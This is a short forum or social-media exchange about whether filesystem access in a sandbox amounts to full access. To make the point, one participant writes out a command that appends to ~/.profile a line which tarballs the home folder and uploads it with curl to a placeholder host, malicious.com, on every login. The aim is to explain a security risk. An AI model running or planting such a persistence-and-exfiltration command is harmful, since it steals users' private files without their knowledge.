@TheEvilSkeleton The claim about security is flat out wrong.

File system access *is* full access.

If you can write to the file system, you can write a script, mark it executable, and tweak ~/.profile etc to run it on startup. This doesn't even require being able to mark a file executable, because you can simply add e.g. 'python malicious.py' to the end of the login script.

@pixelherodev could you explain how filesystem access can access my Nextcloud information like contacts and notes?


@TheEvilSkeleton cat >>$home/.profile <<EOF
tar cz . | curl -X POST malicious.com/extract.tar&

Now, every time you log in, your entire home folder will be tarballed up and uploaded to some malicious server.

This is just a trivial example, a more sophisticated system would hide itself, and wouldn't be so obvious as to what it was doing.

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